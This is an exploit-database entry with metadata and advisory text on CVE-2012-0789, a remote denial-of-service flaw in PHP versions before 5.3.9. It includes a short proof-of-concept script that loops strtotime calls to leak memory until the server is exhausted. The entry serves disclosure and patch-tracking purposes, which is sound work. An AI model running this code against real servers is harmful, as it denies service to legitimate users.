PHP 5.3.8 - Remote Denial of Service

Author: anonymous
type: dos
platform: php
port: 
date_added: 2011-12-18 
date_updated: 2015-04-17 
verified: 1 
codes: CVE-2012-0789;OSVDB-79332 
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source: https://www.securityfocus.com/bid/52043/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, denying access to legitimate users.

PHP versions prior to 5.3.9 are vulnerable.

<?php
while (true)
{
strtotime('Monday 00:00 Europe/Paris'); // Memory leak
}
?>